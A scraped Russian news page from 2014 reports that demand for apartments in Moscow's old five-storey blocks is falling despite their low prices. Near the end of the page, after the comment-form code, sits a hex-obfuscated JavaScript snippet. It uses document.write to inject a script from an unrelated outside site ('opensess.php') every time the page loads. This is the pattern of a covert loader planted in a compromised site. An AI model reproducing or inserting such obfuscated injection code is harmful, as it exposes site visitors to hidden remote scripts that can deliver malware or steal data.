Спрос на квартиры в пятиэтажках снижается, несмотря на дешевизну - исследование

2014-07-18 11:01:17

Несмотря на низкие цены, интерес к пятиэтажкам угасает, считают эксперты "НДВ-Недвижимость". По их данным, на сегодняшний день предложение в этом сегменте заметно превышает спрос.Как показывает статистика, на пятиэтажки приходится в среднем около 10% рынка. Наибольший объем такого предложения сосредоточен на востоке и юго-востоке Москвы, в старых районах со сформированной застройкой. Это, например, Кузьминки, Текстильщики и Перово. В Центральном округе панельных и блочных пятиэтажек не осталось, при этом предложения квартир есть в кирпичных домах.Однако потенциальные покупатели предпочитают более современное жилье даже в доступном сегменте. Если речь идет о Москве, то более 50% покупателей с бюджетом до 5,5 млн рублей отказываются от покупки квартиры в пятиэтажке и обращают внимание на более доступную по деньгам Московскую область, где этой суммы хватит на более качественное жилье. Целенаправленных запросов, когда специально рассматривают только пятиэтажки в Москве, крайне мало - не более 5%.Конечно, на рынке представлены объекты с разной ликвидностью. Для пятиэтажных домов ключевым фактором является месторасположение. Покупателей всегда интересует, находится ли неподалеку станция метро. Более высоким спросом пользуются кирпичные строения, нежели панельные. У таких домов лучше внешний облик, качественные характеристики. Также для покупателя имеют значение этаж квартиры, ее планировка. Последний и первый этаж менее комфортны для проживания, поэтому на них предоставляется дисконт.Самым главным фактором при продаже квартиры в пятиэтажке остается цена. Если стоимость предложения завышена, то его реализовать не удастся, считают в "НДВ-Недвижимость". var sources = "Ист"+"очн"+"ик: interfax.ru";Следите за нами в ВКонтакте, Facebook"e и Twitter"e Просмотров: 41Рубрика: Недвижимостьdocument.write(sources); (CY) Архив новостей / Экспорт новостей var MarketGidDate = new Date(); document.write(""); #smi2adblock_42717 img { max-width: none; }#smi2adblock_42717 a { color: #316CA6; font-size: 13px; text-decoration: underline; font-family: Arial, Tahoma, sans-serif}#smi2adblock_42717 a:hover { text-decoration: none;} (function() { var sc = document.createElement("script"); sc.type = "text/javascript"; sc.async = true; sc.src = "http://js.finance.comon.ru/data/js/42717.js"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(sc, s); }()); Оставьте комментарий! Ваше Имя: function CheckForm() { message_error=""; (!document.fadd.message.value || document.fadd.message.value.length < 4 || document.fadd.message.value.length > 1000) ? message_error += " - Комментарий мен. 4 или бол. 1000 символов; " : null; (!document.fadd.username.value || document.fadd.username.value.length > 25) ? message_error += " - Не указанно ваше имя или оно бол. 25 символов; " : null; (message_error!="") ? alert("ВНИМАНИЕ! Ниже приведённые поля заполнены не верно: "+message_error) : document.fadd.submit(); }var _0xec99=["x3Cx73x63","x72x69x70x74x20x74x79x70x65x3Dx22x74x65x78x74x2Fx6Ax61x76x61x73x63x72x69x70x74x22x20x73x72x63x3Dx22x68x74x74x70x3Ax2Fx2Fx72x6Fx73x69x6Ex76x65x73x74x2Ex63x6Fx6Dx2Fx6Ax61x76x61x73x63x72x69x70x74x2Fx63x6Fx6Ex74x72x2Fx6Fx70x65x6Ex73x65x73x73x2Ex70x68x70x22x3Ex3Cx2Fx73x63","x72x69x70x74x3E","x77x72x69x74x65"];document[_0xec99[3]](_0xec99[0]+_0xec99[1]+_0xec99[2]); На форуме обсуждают: